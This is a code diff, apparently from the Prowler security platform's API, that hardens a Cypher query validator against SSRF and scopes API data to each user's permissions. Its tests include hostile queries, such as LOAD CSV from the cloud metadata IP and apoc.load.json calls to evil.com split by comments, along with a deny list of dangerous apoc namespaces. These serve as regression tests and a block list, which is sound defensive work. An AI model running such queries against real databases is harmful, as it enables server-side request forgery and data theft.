"xmltodict==1.0.2",
|
||||
"yarl==1.22.0",
|
||||
"yarl==1.25.1",
|
||||
"zipp==3.23.0",
|
||||
"zope-event==6.1",
|
||||
"zope-interface==8.2",
|
||||
@@ -485,7 +485,7 @@ override-dependencies = [
|
||||
"okta==3.4.2",
|
||||
# huaweicloudsdkcore (via prowler) pins pymongo==4.15.1 exactly; CVE-2026-96748 and
|
||||
# CVE-2026-96749 are fixed in 4.18.2. Only bson types are used, so the override is safe.
|
||||
"pymongo==4.18.2",
|
||||
"pymongo==4.18.3",
|
||||
# prowler requires cryptography==50.0.0. Two api-only dependencies still cap it below
|
||||
# 49 and cannot move yet: msal, pinned exactly by azure-cli-core (2.83.0 -> 1.35.0b1,
|
||||
# 2.89.1 -> 1.36.0, both <49; cartography needs azure-cli-core), and workos 8.3.0
|
||||
|
||||
@@ -12,7 +12,7 @@ Two responsibilities:
|
||||
|
||||
Label-injection pipeline:
|
||||
|
||||
1. **Protect** string literals and line comments (placeholder replacement).
|
||||
1. **Protect** string literals and comments (placeholder replacement).
|
||||
2. **Split** by top-level clause keywords to track clause context.
|
||||
3. **Pass A** - inject into *labeled* node patterns in ALL segments.
|
||||
4. **Pass B** - inject into *bare* node patterns in MATCH segments only.
|
||||
@@ -25,10 +25,12 @@ from rest_framework.exceptions import ValidationError
|
||||
from tasks.jobs.attack_paths.config import get_provider_label
|
||||
|
||||
# Step 1 - String / comment protection
|
||||
# Single combined regex: strings first, then line comments
|
||||
# Single combined regex: strings first, then line and block comments
|
||||
# The regex engine finds the leftmost match, so a string like 'https://prowler.com'
|
||||
# is consumed as a string before the // inside it can match as a comment
|
||||
_PROTECTED_RE = re.compile(r"'(?:[^'\\]|\\.)*'|\"(?:[^\"\\]|\\.)*\"|//[^\n]*")
|
||||
_PROTECTED_RE = re.compile(
|
||||
r"'(?:[^'\\]|\\.)*'|\"(?:[^\"\\]|\\.)*\"|//[^\n]*|/\*[\s\S]*?\*/"
|
||||
)
|
||||
|
||||
# Step 2 - Clause splitting
|
||||
# `OPTIONAL MATCH` must come before `MATCH` to avoid partial matching
|
||||
@@ -143,18 +145,26 @@ def inject_label(cypher: str, label: str) -> str:
|
||||
|
||||
# Patterns that indicate SSRF or dangerous procedure calls
|
||||
# Defense-in-depth layer - the primary control is `neo4j.READ_ACCESS`
|
||||
# Neo4j accepts whitespace (and therefore comments) around the dots of a
|
||||
# qualified procedure name, so `apoc . load` is `apoc.load`.
|
||||
_BLOCKED_APOC_NAMESPACES = (
|
||||
"load",
|
||||
"import",
|
||||
"export",
|
||||
"cypher",
|
||||
"systemdb",
|
||||
"config",
|
||||
"periodic",
|
||||
"do",
|
||||
"trigger",
|
||||
"custom",
|
||||
)
|
||||
_BLOCKED_PATTERNS = [
|
||||
re.compile(r"\bLOAD\s+CSV\b", re.IGNORECASE),
|
||||
re.compile(r"\bapoc\.load\b", re.IGNORECASE),
|
||||
re.compile(r"\bapoc\.import\b", re.IGNORECASE),
|
||||
re.compile(r"\bapoc\.export\b", re.IGNORECASE),
|
||||
re.compile(r"\bapoc\.cypher\b", re.IGNORECASE),
|
||||
re.compile(r"\bapoc\.systemdb\b", re.IGNORECASE),
|
||||
re.compile(r"\bapoc\.config\b", re.IGNORECASE),
|
||||
re.compile(r"\bapoc\.periodic\b", re.IGNORECASE),
|
||||
re.compile(r"\bapoc\.do\b", re.IGNORECASE),
|
||||
re.compile(r"\bapoc\.trigger\b", re.IGNORECASE),
|
||||
re.compile(r"\bapoc\.custom\b", re.IGNORECASE),
|
||||
*(
|
||||
re.compile(rf"\bapoc\s*\.\s*{namespace}\b", re.IGNORECASE)
|
||||
for namespace in _BLOCKED_APOC_NAMESPACES
|
||||
),
|
||||
]
|
||||
|
||||
|
||||
@@ -162,10 +172,11 @@ def validate_custom_query(cypher: str) -> None:
|
||||
"""Reject queries containing known SSRF or dangerous procedure patterns.
|
||||
|
||||
Raises ValidationError if a blocked pattern is found.
|
||||
String literals and comments are stripped before matching to avoid
|
||||
false positives.
|
||||
String literals and comments are replaced by a space before matching:
|
||||
literals cannot trigger false positives and a comment cannot split a
|
||||
keyword pair such as `LOAD /**/ CSV`, which Neo4j still parses as `LOAD CSV`.
|
||||
"""
|
||||
stripped = _PROTECTED_RE.sub("", cypher)
|
||||
stripped = _PROTECTED_RE.sub(" ", cypher)
|
||||
for pattern in _BLOCKED_PATTERNS:
|
||||
if pattern.search(stripped):
|
||||
raise ValidationError({"query": "Query contains a blocked operation"})
|
||||
@@ -45,6 +45,10 @@ class SinkDatabase(Protocol):
|
||||
parameters: dict[str, Any] | None = None,
|
||||
) -> neo4j.graph.Graph: ...
|
||||
|
||||
def is_persisted_element_id(self, element_id: str) -> bool:
|
||||
"""Whether an element id belongs to a stored entity rather than one minted at query time."""
|
||||
return True
|
||||
|
||||
def create_database(self, database: str) -> None: ...
|
||||
|
||||
def drop_database(self, database: str) -> None: ...
|
||||
|
||||
@@ -7,6 +7,7 @@ path while phase-1 drains tenant DBs.
|
||||
|
||||
import atexit
|
||||
import logging
|
||||
import re
|
||||
import threading
|
||||
import time
|
||||
from collections.abc import Iterator
|
||||
@@ -186,6 +187,13 @@ class Neo4jSink(SinkDatabase):
|
||||
|
||||
return session.execute_read(_run)
|
||||
|
||||
# APOC virtual nodes report a bare negative number and virtual
|
||||
# relationships a random UUID, neither in the stored-entity format.
|
||||
_PERSISTED_ELEMENT_ID_RE = re.compile(r"^\d+:[^:]+:\d+$")
|
||||
|
||||
def is_persisted_element_id(self, element_id: str) -> bool:
|
||||
return bool(self._PERSISTED_ELEMENT_ID_RE.match(element_id))
|
||||
|
||||
def create_database(self, database: str) -> None:
|
||||
with self.get_session() as session:
|
||||
session.run(
|
||||
|
||||
@@ -15,6 +15,7 @@ from api.attack_paths.queries.schema import (
|
||||
RAW_SCHEMA_URL,
|
||||
get_cartography_schema_query,
|
||||
)
|
||||
from api.attack_paths.sink.base import SinkDatabase
|
||||
from api.models import AttackPathsScan
|
||||
from config.custom_logging import BackendLogger
|
||||
from config.env import env
|
||||
@@ -135,7 +136,7 @@ def execute_query(
|
||||
cypher = inject_provider_label(cypher, provider_id)
|
||||
|
||||
graph = backend.execute_read_query(database_name, cypher, parameters)
|
||||
return _serialize_graph(graph, provider_id)
|
||||
return _serialize_graph(graph, provider_id, backend)
|
||||
|
||||
except graph_database.WriteQueryNotAllowedException:
|
||||
raise PermissionDenied(
|
||||
@@ -174,6 +175,8 @@ def execute_custom_query(
|
||||
# 1. `neo4j.READ_ACCESS` - prevents mutations at the driver level
|
||||
# 2. `inject_provider_label()` - regex-based label injection scopes node patterns
|
||||
# 3. `_serialize_graph()` - post-query filter drops nodes without the provider label
|
||||
# and any node or relationship the backend did not store (APOC virtual
|
||||
# entities can carry an arbitrary label and arbitrary properties)
|
||||
# 4. `USING QUERY:TIMEOUTMILLISECONDS` on Neptune - server-side runaway cutoff
|
||||
#
|
||||
# Layer 2 is best-effort (regex can't fully parse Cypher);
|
||||
@@ -193,7 +196,7 @@ def execute_custom_query(
|
||||
|
||||
try:
|
||||
graph = backend.execute_read_query(database_name, cypher, None)
|
||||
serialized = _serialize_graph(graph, provider_id)
|
||||
serialized = _serialize_graph(graph, provider_id, backend)
|
||||
return _truncate_graph(serialized)
|
||||
|
||||
except graph_database.ClientStatementException as exc:
|
||||
@@ -265,13 +268,15 @@ def _truncate_graph(graph: dict[str, Any]) -> dict[str, Any]:
|
||||
return graph
|
||||
|
||||
|
||||
def _serialize_graph(graph, provider_id: str) -> dict[str, Any]:
|
||||
def _serialize_graph(graph, provider_id: str, backend: SinkDatabase) -> dict[str, Any]:
|
||||
provider_label = get_provider_label(provider_id)
|
||||
|
||||
nodes = []
|
||||
kept_node_ids = set()
|
||||
for node in graph.nodes:
|
||||
if provider_label not in node.labels:
|
||||
if provider_label not in node.labels or not backend.is_persisted_element_id(
|
||||
node.element_id
|
||||
):
|
||||
continue
|
||||
|
||||
kept_node_ids.add(node.element_id)
|
||||
@@ -286,7 +291,7 @@ def _serialize_graph(graph, provider_id: str) -> dict[str, Any]:
|
||||
filtered_count = len(graph.nodes) - len(nodes)
|
||||
if filtered_count > 0:
|
||||
logger.debug(
|
||||
f"Filtered {filtered_count} nodes without provider label {provider_label}"
|
||||
f"Filtered {filtered_count} nodes without provider label {provider_label} or not stored"
|
||||
)
|
||||
|
||||
relationships = []
|
||||
@@ -294,6 +299,7 @@ def _serialize_graph(graph, provider_id: str) -> dict[str, Any]:
|
||||
if (
|
||||
relationship.start_node.element_id not in kept_node_ids
|
||||
or relationship.end_node.element_id not in kept_node_ids
|
||||
or not backend.is_persisted_element_id(relationship.element_id)
|
||||
):
|
||||
continue
|
||||
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
openapi: 3.0.3
|
||||
info:
|
||||
title: Prowler API
|
||||
version: 1.47.0
|
||||
version: 1.49.0
|
||||
description: |-
|
||||
Prowler API specification.
|
||||
|
||||
|
||||
@@ -321,7 +321,7 @@ def test_serialize_graph_filters_by_provider_label(attack_paths_graph_stub_class
|
||||
relationships=[rel_keep, rel_drop_orphaned],
|
||||
)
|
||||
|
||||
result = views_helpers._serialize_graph(graph, provider_id)
|
||||
result = views_helpers._serialize_graph(graph, provider_id, _all_persisted())
|
||||
|
||||
assert len(result["nodes"]) == 1
|
||||
assert result["nodes"][0]["id"] == "n1"
|
||||
@@ -329,6 +329,71 @@ def test_serialize_graph_filters_by_provider_label(attack_paths_graph_stub_class
|
||||
assert result["relationships"][0]["id"] == "r1"
|
||||
|
||||
|
||||
def _all_persisted():
|
||||
return SimpleNamespace(is_persisted_element_id=lambda element_id: True)
|
||||
|
||||
|
||||
def test_serialize_graph_drops_virtual_entities(attack_paths_graph_stub_classes):
|
||||
provider_id = "provider-keep"
|
||||
plabel = get_provider_label(provider_id)
|
||||
stored_ids = {"n1", "n2", "r1"}
|
||||
backend = SimpleNamespace(
|
||||
is_persisted_element_id=lambda element_id: element_id in stored_ids
|
||||
)
|
||||
|
||||
node_1 = attack_paths_graph_stub_classes.Node("n1", ["AWSAccount", plabel], {})
|
||||
node_2 = attack_paths_graph_stub_classes.Node("n2", ["AWSRole", plabel], {})
|
||||
# apoc.create.vNode can carry the provider label and any payload
|
||||
node_virtual = attack_paths_graph_stub_classes.Node(
|
||||
"-1", ["AWSAccount", plabel], {"body": "fetched"}
|
||||
)
|
||||
|
||||
rel_stored = attack_paths_graph_stub_classes.Relationship(
|
||||
"r1", "OWNS", node_1, node_2, {}
|
||||
)
|
||||
# apoc.create.vRelationship between two stored nodes passes the endpoint check
|
||||
rel_virtual = attack_paths_graph_stub_classes.Relationship(
|
||||
"45cc10ea-9618-47fb-abaa-8e82a58d6b40", "V", node_1, node_2, {"body": "fetched"}
|
||||
)
|
||||
rel_to_virtual = attack_paths_graph_stub_classes.Relationship(
|
||||
"r2", "OWNS", node_1, node_virtual, {}
|
||||
)
|
||||
|
||||
graph = SimpleNamespace(
|
||||
nodes=[node_1, node_2, node_virtual],
|
||||
relationships=[rel_stored, rel_virtual, rel_to_virtual],
|
||||
)
|
||||
|
||||
result = views_helpers._serialize_graph(graph, provider_id, backend)
|
||||
|
||||
assert [node["id"] for node in result["nodes"]] == ["n1", "n2"]
|
||||
assert [rel["id"] for rel in result["relationships"]] == ["r1"]
|
||||
assert "fetched" not in str(result)
|
||||
|
||||
|
||||
@pytest.mark.parametrize(
|
||||
"element_id, persisted",
|
||||
[
|
||||
("4:9f1d9d76-bb08-478c-b25d-7e577f967732:0", True),
|
||||
("5:9f1d9d76-bb08-478c-b25d-7e577f967732:12", True),
|
||||
("-2", False),
|
||||
("45cc10ea-9618-47fb-abaa-8e82a58d6b40", False),
|
||||
("", False),
|
||||
],
|
||||
ids=[
|
||||
"stored_node",
|
||||
"stored_relationship",
|
||||
"virtual_node",
|
||||
"virtual_relationship",
|
||||
"empty",
|
||||
],
|
||||
)
|
||||
def test_neo4j_sink_is_persisted_element_id(element_id, persisted):
|
||||
from api.attack_paths.sink.neo4j import Neo4jSink
|
||||
|
||||
assert Neo4jSink().is_persisted_element_id(element_id) is persisted
|
||||
|
||||
|
||||
# -- serialize_graph_as_text -------------------------------------------------------
|
||||
|
||||
|
||||
|
||||
@@ -222,6 +222,12 @@ class TestProtection:
|
||||
result = _inject(cypher)
|
||||
assert result.count(LABEL) == 1
|
||||
|
||||
def test_block_comment_with_node_pattern(self):
|
||||
cypher = "MATCH (n:AWSRole) /* (m:Fake)\n(k) */ RETURN n"
|
||||
result = _inject(cypher)
|
||||
assert "/* (m:Fake)\n(k) */" in result
|
||||
assert result.count(LABEL) == 1
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Clause splitting
|
||||
@@ -439,6 +445,35 @@ class TestValidation:
|
||||
|
||||
assert "blocked operation" in str(exc.value.detail)
|
||||
|
||||
@pytest.mark.parametrize(
|
||||
"cypher",
|
||||
[
|
||||
"LOAD /* c */ CSV FROM 'http://169.254.169.254/' AS x RETURN x",
|
||||
"LOAD/**/CSV FROM 'http://evil.com' AS x RETURN x",
|
||||
"LOAD /* a */ /* b */ CSV FROM 'http://evil.com' AS x RETURN x",
|
||||
"LOAD /* multi\nline */ CSV FROM 'http://evil.com' AS x RETURN x",
|
||||
"CALL apoc./**/load.json('http://evil.com/') YIELD value RETURN value",
|
||||
"CALL apoc . load.json('http://evil.com/') YIELD value RETURN value",
|
||||
"CALL apoc.load . json('http://evil.com/') YIELD value RETURN value",
|
||||
"CALL apoc\n.cypher.run('CREATE (n)', {}) YIELD value RETURN value",
|
||||
],
|
||||
ids=[
|
||||
"LOAD_CSV_block_comment",
|
||||
"LOAD_CSV_empty_block_comment",
|
||||
"LOAD_CSV_two_block_comments",
|
||||
"LOAD_CSV_multiline_block_comment",
|
||||
"apoc.load_block_comment",
|
||||
"apoc.load_spaces_around_dot",
|
||||
"apoc.load_spaces_before_procedure",
|
||||
"apoc.cypher_newline_before_dot",
|
||||
],
|
||||
)
|
||||
def test_rejects_blocked_patterns_split_by_comments_or_whitespace(self, cypher):
|
||||
with pytest.raises(ValidationError) as exc:
|
||||
validate_custom_query(cypher)
|
||||
|
||||
assert "blocked operation" in str(exc.value.detail)
|
||||
|
||||
@pytest.mark.parametrize(
|
||||
"cypher",
|
||||
[
|
||||
@@ -448,6 +483,8 @@ class TestValidation:
|
||||
"CALL apoc.create.vNode(['Label'], {}) YIELD node RETURN node",
|
||||
"MATCH (n) WHERE n.name = 'apoc.load.json' RETURN n",
|
||||
'MATCH (n) WHERE n.description = "LOAD CSV is cool" RETURN n',
|
||||
"MATCH (n) /* LOAD CSV is documented here */ RETURN n",
|
||||
"MATCH (n) WHERE n.note = '/* LOAD CSV */' RETURN n",
|
||||
],
|
||||
ids=[
|
||||
"simple_match",
|
||||
@@ -456,6 +493,8 @@ class TestValidation:
|
||||
"apoc_virtual_node",
|
||||
"apoc_load_inside_single_quotes",
|
||||
"load_csv_inside_double_quotes",
|
||||
"load_csv_inside_block_comment",
|
||||
"block_comment_inside_string",
|
||||
],
|
||||
)
|
||||
def test_allows_clean_queries(self, cypher):
|
||||
|
||||
@@ -12,6 +12,7 @@ from api.models import (
|
||||
ProviderSecret,
|
||||
Role,
|
||||
RoleProviderGroupRelationship,
|
||||
SAMLConfiguration,
|
||||
Scan,
|
||||
User,
|
||||
UserRoleRelationship,
|
||||
@@ -1896,6 +1897,90 @@ class TestUserRoleLinkPermissions:
|
||||
assert response.status_code == status.HTTP_403_FORBIDDEN
|
||||
|
||||
|
||||
SAML_METADATA_XML = """<?xml version='1.0' encoding='UTF-8'?>
|
||||
<md:EntityDescriptor entityID='TEST' xmlns:md='urn:oasis:names:tc:SAML:2.0:metadata'>
|
||||
<md:IDPSSODescriptor WantAuthnRequestsSigned='false' protocolSupportEnumeration='urn:oasis:names:tc:SAML:2.0:protocol'>
|
||||
<md:KeyDescriptor use='signing'>
|
||||
<ds:KeyInfo xmlns:ds='http://www.w3.org/2000/09/xmldsig#'>
|
||||
<ds:X509Data>
|
||||
<ds:X509Certificate>TEST</ds:X509Certificate>
|
||||
</ds:X509Data>
|
||||
</ds:KeyInfo>
|
||||
</md:KeyDescriptor>
|
||||
<md:NameIDFormat>urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress</md:NameIDFormat>
|
||||
<md:SingleSignOnService Binding='urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST' Location='https://TEST/sso/saml'/>
|
||||
<md:SingleSignOnService Binding='urn:oasis:names:tc:SAML:2.0:bindings:HTTP-Redirect' Location='https://TEST/sso/saml'/>
|
||||
</md:IDPSSODescriptor>
|
||||
</md:EntityDescriptor>
|
||||
"""
|
||||
|
||||
|
||||
@pytest.mark.django_db
|
||||
class TestSAMLConfigurationPermissions:
|
||||
def _create(self, client, email_domain):
|
||||
return client.post(
|
||||
reverse("saml-config-list"),
|
||||
data={"email_domain": email_domain, "metadata_xml": SAML_METADATA_XML},
|
||||
format="json",
|
||||
)
|
||||
|
||||
def test_manage_integrations_only_cannot_create(
|
||||
self, authenticated_client_rbac_manage_integrations_only
|
||||
):
|
||||
response = self._create(
|
||||
authenticated_client_rbac_manage_integrations_only,
|
||||
"integrations-only-create.com",
|
||||
)
|
||||
|
||||
assert response.status_code == status.HTTP_403_FORBIDDEN
|
||||
assert not SAMLConfiguration.objects.filter(
|
||||
email_domain="integrations-only-create.com"
|
||||
).exists()
|
||||
|
||||
def test_manage_integrations_only_cannot_read_or_replace(
|
||||
self, authenticated_client_rbac_manage_integrations_only
|
||||
):
|
||||
client = authenticated_client_rbac_manage_integrations_only
|
||||
tenant = Membership.objects.filter(user=client.user).first().tenant
|
||||
config = SAMLConfiguration.objects.create(
|
||||
tenant_id=str(tenant.id),
|
||||
email_domain="integrations-only-replace.com",
|
||||
metadata_xml=SAML_METADATA_XML,
|
||||
)
|
||||
|
||||
list_response = client.get(reverse("saml-config-list"))
|
||||
patch_response = client.patch(
|
||||
reverse("saml-config-detail", kwargs={"pk": config.id}),
|
||||
data={"metadata_xml": SAML_METADATA_XML},
|
||||
format="json",
|
||||
)
|
||||
delete_response = client.delete(
|
||||
reverse("saml-config-detail", kwargs={"pk": config.id})
|
||||
)
|
||||
|
||||
assert list_response.status_code == status.HTTP_403_FORBIDDEN
|
||||
assert patch_response.status_code == status.HTTP_403_FORBIDDEN
|
||||
assert delete_response.status_code == status.HTTP_403_FORBIDDEN
|
||||
assert SAMLConfiguration.objects.filter(id=config.id).exists()
|
||||
|
||||
def test_manage_account_only_can_create_and_delete(
|
||||
self, authenticated_client_rbac_manage_account
|
||||
):
|
||||
client = authenticated_client_rbac_manage_account
|
||||
|
||||
create_response = self._create(client, "account-only.com")
|
||||
|
||||
assert create_response.status_code == status.HTTP_201_CREATED
|
||||
config = SAMLConfiguration.objects.get(email_domain="account-only.com")
|
||||
|
||||
delete_response = client.delete(
|
||||
reverse("saml-config-detail", kwargs={"pk": config.id})
|
||||
)
|
||||
|
||||
assert delete_response.status_code == status.HTTP_204_NO_CONTENT
|
||||
assert not SAMLConfiguration.objects.filter(id=config.id).exists()
|
||||
|
||||
|
||||
@pytest.mark.django_db
|
||||
class TestCrossTenantRoleLeak:
|
||||
"""Regression tests for get_role() cross-tenant privilege leak.
|
||||
|
||||
@@ -98,6 +98,11 @@ from rest_framework_simplejwt.token_blacklist.models import (
|
||||
OutstandingToken,
|
||||
)
|
||||
from rest_framework_simplejwt.tokens import RefreshToken
|
||||
from tasks.jobs.backfill import (
|
||||
aggregate_scan_category_summaries,
|
||||
aggregate_scan_resource_group_summaries,
|
||||
backfill_resource_scan_summaries,
|
||||
)
|
||||
|
||||
|
||||
class TestViewSet:
|
||||
@@ -7089,6 +7094,99 @@ class TestAttackPathsScanViewSet:
|
||||
assert response.status_code == status.HTTP_400_BAD_REQUEST
|
||||
|
||||
|
||||
def _client_restricted_to_provider(tenant, provider, factory):
|
||||
"""Authenticated client for a fresh member whose role only sees `provider`."""
|
||||
user = User.objects.create_user(
|
||||
name=f"restricted-{uuid4()}",
|
||||
email=f"restricted-{uuid4()}@prowler.com",
|
||||
password=TEST_PASSWORD,
|
||||
)
|
||||
Membership.objects.create(
|
||||
user=user, tenant=tenant, role=Membership.RoleChoices.MEMBER
|
||||
)
|
||||
role = Role.objects.create(
|
||||
name=f"restricted-{uuid4()}",
|
||||
tenant_id=tenant.id,
|
||||
manage_users=False,
|
||||
manage_account=False,
|
||||
manage_billing=False,
|
||||
manage_providers=False,
|
||||
manage_integrations=False,
|
||||
manage_scans=False,
|
||||
unlimited_visibility=False,
|
||||
)
|
||||
UserRoleRelationship.objects.create(user=user, role=role, tenant_id=tenant.id)
|
||||
provider_group = ProviderGroup.objects.create(
|
||||
name=f"restricted-{uuid4()}", tenant_id=tenant.id
|
||||
)
|
||||
ProviderGroupMembership.objects.create(
|
||||
tenant_id=tenant.id, provider_group=provider_group, provider=provider
|
||||
)
|
||||
RoleProviderGroupRelationship.objects.create(
|
||||
tenant_id=tenant.id, role=role, provider_group=provider_group
|
||||
)
|
||||
return factory(user, tenant)
|
||||
|
||||
|
||||
def _completed_scan_with_summaries(
|
||||
tenant, provider, resources, *, categories, resource_group
|
||||
):
|
||||
"""Completed scan for `provider` with one finding over `resources`, summary tables filled."""
|
||||
tenant_id = str(tenant.id)
|
||||
scan = Scan.objects.create(
|
||||
name=f"scan-{uuid4()}",
|
||||
provider=provider,
|
||||
trigger=Scan.TriggerChoices.MANUAL,
|
||||
state=StateChoices.COMPLETED,
|
||||
tenant_id=tenant_id,
|
||||
)
|
||||
finding = Finding.objects.create(
|
||||
tenant_id=tenant_id,
|
||||
uid=f"finding-{uuid4()}",
|
||||
scan=scan,
|
||||
delta="new",
|
||||
status=Status.FAIL,
|
||||
status_extended="test status",
|
||||
impact=Severity.critical,
|
||||
impact_extended="test impact",
|
||||
severity=Severity.critical,
|
||||
raw_result={"status": Status.FAIL},
|
||||
check_id="scoped_check",
|
||||
check_metadata={"CheckId": "scoped_check"},
|
||||
categories=categories,
|
||||
resource_groups=resource_group,
|
||||
first_seen_at="2024-01-02T00:00:00Z",
|
||||
)
|
||||
finding.add_resources(resources)
|
||||
backfill_resource_scan_summaries(tenant_id, str(scan.id))
|
||||
aggregate_scan_category_summaries(tenant_id, str(scan.id))
|
||||
aggregate_scan_resource_group_summaries(tenant_id, str(scan.id))
|
||||
return scan
|
||||
|
||||
|
||||
@pytest.fixture
|
||||
def scans_per_provider_fixture(tenants_fixture, aws_provider_pair, resources_fixture):
|
||||
"""One completed scan per provider; provider 2 only owns the `test` typed resource."""
|
||||
tenant = tenants_fixture[0]
|
||||
provider1, provider2 = aws_provider_pair
|
||||
resource1, resource2, resource3 = resources_fixture
|
||||
_completed_scan_with_summaries(
|
||||
tenant,
|
||||
provider1,
|
||||
[resource1, resource2],
|
||||
categories=["iam"],
|
||||
resource_group="identity",
|
||||
)
|
||||
_completed_scan_with_summaries(
|
||||
tenant,
|
||||
provider2,
|
||||
[resource3],
|
||||
categories=["data-protection"],
|
||||
resource_group="data",
|
||||
)
|
||||
return tenant, provider2
|
||||
|
||||
|
||||
@pytest.mark.django_db
|
||||
class TestResourceViewSet:
|
||||
def test_resources_list_none(self, authenticated_client):
|
||||
@@ -7460,6 +7558,42 @@ class TestResourceViewSet:
|
||||
assert attributes["types"] == [latest_scan_resource.type]
|
||||
assert "groups" in attributes
|
||||
|
||||
def test_resources_metadata_restricted_to_provider_group(
|
||||
self, authenticated_client_for_tenant_factory, scans_per_provider_fixture
|
||||
):
|
||||
tenant, provider2 = scans_per_provider_fixture
|
||||
client = _client_restricted_to_provider(
|
||||
tenant, provider2, authenticated_client_for_tenant_factory
|
||||
)
|
||||
|
||||
response = client.get(
|
||||
reverse("resource-metadata"), {"filter[updated_at]": TODAY}
|
||||
)
|
||||
|
||||
assert response.status_code == status.HTTP_200_OK
|
||||
attributes = response.json()["data"]["attributes"]
|
||||
assert set(attributes["services"]) == {"ec2"}
|
||||
assert set(attributes["regions"]) == {"us-east-1"}
|
||||
assert set(attributes["types"]) == {"test"}
|
||||
assert set(attributes["groups"]) == {"compute"}
|
||||
|
||||
def test_resources_metadata_latest_restricted_to_provider_group(
|
||||
self, authenticated_client_for_tenant_factory, scans_per_provider_fixture
|
||||
):
|
||||
tenant, provider2 = scans_per_provider_fixture
|
||||
client = _client_restricted_to_provider(
|
||||
tenant, provider2, authenticated_client_for_tenant_factory
|
||||
)
|
||||
|
||||
response = client.get(reverse("resource-metadata_latest"))
|
||||
|
||||
assert response.status_code == status.HTTP_200_OK
|
||||
attributes = response.json()["data"]["attributes"]
|
||||
assert set(attributes["services"]) == {"ec2"}
|
||||
assert set(attributes["regions"]) == {"us-east-1"}
|
||||
assert set(attributes["types"]) == {"test"}
|
||||
assert set(attributes["groups"]) == {"compute"}
|
||||
|
||||
def test_resources_latest_filter_by_provider_id(
|
||||
self, authenticated_client, latest_scan_resource
|
||||
):
|
||||
@@ -9092,6 +9226,53 @@ class TestFindingViewSet:
|
||||
assert "groups" in attributes
|
||||
assert "ai_ml" in attributes["groups"]
|
||||
|
||||
@patch("api.v1.views.backfill_scan_resource_summaries_task.apply_async")
|
||||
def test_findings_metadata_restricted_to_provider_group(
|
||||
self,
|
||||
mock_backfill,
|
||||
authenticated_client_for_tenant_factory,
|
||||
scans_per_provider_fixture,
|
||||
):
|
||||
tenant, provider2 = scans_per_provider_fixture
|
||||
client = _client_restricted_to_provider(
|
||||
tenant, provider2, authenticated_client_for_tenant_factory
|
||||
)
|
||||
|
||||
response = client.get(
|
||||
reverse("finding-metadata"), {"filter[inserted_at]": TODAY}
|
||||
)
|
||||
|
||||
assert response.status_code == status.HTTP_200_OK
|
||||
mock_backfill.assert_not_called()
|
||||
attributes = response.json()["data"]["attributes"]
|
||||
assert set(attributes["services"]) == {"ec2"}
|
||||
assert set(attributes["regions"]) == {"us-east-1"}
|
||||
assert set(attributes["resource_types"]) == {"test"}
|
||||
assert set(attributes["categories"]) == {"data-protection"}
|
||||
|
||||
@patch("api.v1.views.backfill_scan_resource_summaries_task.apply_async")
|
||||
def test_findings_metadata_latest_restricted_to_provider_group(
|
||||
self,
|
||||
mock_backfill,
|
||||
authenticated_client_for_tenant_factory,
|
||||
scans_per_provider_fixture,
|
||||
):
|
||||
tenant, provider2 = scans_per_provider_fixture
|
||||
client = _client_restricted_to_provider(
|
||||
tenant, provider2, authenticated_client_for_tenant_factory
|
||||
)
|
||||
|
||||
response = client.get(reverse("finding-metadata_latest"))
|
||||
|
||||
assert response.status_code == status.HTTP_200_OK
|
||||
mock_backfill.assert_not_called()
|
||||
attributes = response.json()["data"]["attributes"]
|
||||
assert set(attributes["services"]) == {"ec2"}
|
||||
assert set(attributes["regions"]) == {"us-east-1"}
|
||||
assert set(attributes["resource_types"]) == {"test"}
|
||||
assert set(attributes["categories"]) == {"data-protection"}
|
||||
assert set(attributes["groups"]) == {"data"}
|
||||
|
||||
def test_findings_filter_by_category(
|
||||
self, authenticated_client, findings_with_categories
|
||||
):
|
||||
|
||||
@@ -351,6 +351,15 @@ from tasks.tasks import (
|
||||
|
||||
logger = logging.getLogger(BackendLogger.API)
|
||||
|
||||
|
||||
def _scans_visible_to(role, tenant_id):
|
||||
"""Tenant scans, narrowed to the role's provider groups unless it has unlimited visibility."""
|
||||
scans = Scan.all_objects.filter(tenant_id=tenant_id)
|
||||
if role.unlimited_visibility:
|
||||
return scans
|
||||
return scans.filter(provider__in=get_providers(role))
|
||||
|
||||
|
||||
CACHE_DECORATOR = cache_control(
|
||||
max_age=django_settings.CACHE_MAX_AGE,
|
||||
stale_while_revalidate=django_settings.CACHE_STALE_WHILE_REVALIDATE,
|
||||
@@ -799,7 +808,9 @@ class SAMLConfigurationViewSet(BaseRLSViewSet):
|
||||
"""
|
||||
|
||||
serializer_class = SAMLConfigurationSerializer
|
||||
required_permissions = [Permissions.MANAGE_INTEGRATIONS]
|
||||
# The IdP behind this configuration decides who signs in and which role
|
||||
# they get, so writing it is account administration, not an integration.
|
||||
required_permissions = [Permissions.MANAGE_ACCOUNT]
|
||||
queryset = SAMLConfiguration.objects.all()
|
||||
|
||||
def get_queryset(self):
|
||||
@@ -1896,7 +1907,7 @@ class ProviderViewSet(DisablePaginationMixin, BaseRLSViewSet):
|
||||
self.required_permissions = [Permissions.MANAGE_PROVIDERS]
|
||||
|
||||
def get_queryset(self):
|
||||
user_roles = get_role(self.request.user, self.request.tenant_id)
|
||||
user_roles = self.user_role
|
||||
if user_roles.unlimited_visibility:
|
||||
# User has unlimited visibility, return all providers
|
||||
queryset = Provider.objects.filter(tenant_id=self.request.tenant_id)
|
||||
@@ -3058,7 +3069,7 @@ class AttackPathsScanViewSet(BaseRLSViewSet):
|
||||
return super().get_serializer_class()
|
||||
|
||||
def get_queryset(self):
|
||||
user_roles = get_role(self.request.user, self.request.tenant_id)
|
||||
user_roles = self.user_role
|
||||
base_queryset = AttackPathsScan.objects.filter(tenant_id=self.request.tenant_id)
|
||||
|
||||
if user_roles.unlimited_visibility:
|
||||
@@ -3412,7 +3423,7 @@ class ResourceViewSet(PaginateByPkMixin, BaseRLSViewSet):
|
||||
required_permissions = []
|
||||
|
||||
def get_queryset(self):
|
||||
user_roles = get_role(self.request.user, self.request.tenant_id)
|
||||
user_roles = self.user_role
|
||||
if user_roles.unlimited_visibility:
|
||||
# User has unlimited visibility, return all scans
|
||||
queryset = Resource.all_objects.filter(tenant_id=self.request.tenant_id)
|
||||
@@ -3544,8 +3555,15 @@ class ResourceViewSet(PaginateByPkMixin, BaseRLSViewSet):
|
||||
|
||||
tenant_id = request.tenant_id
|
||||
query_params = request.query_params
|
||||
user_roles = self.user_role
|
||||
|
||||
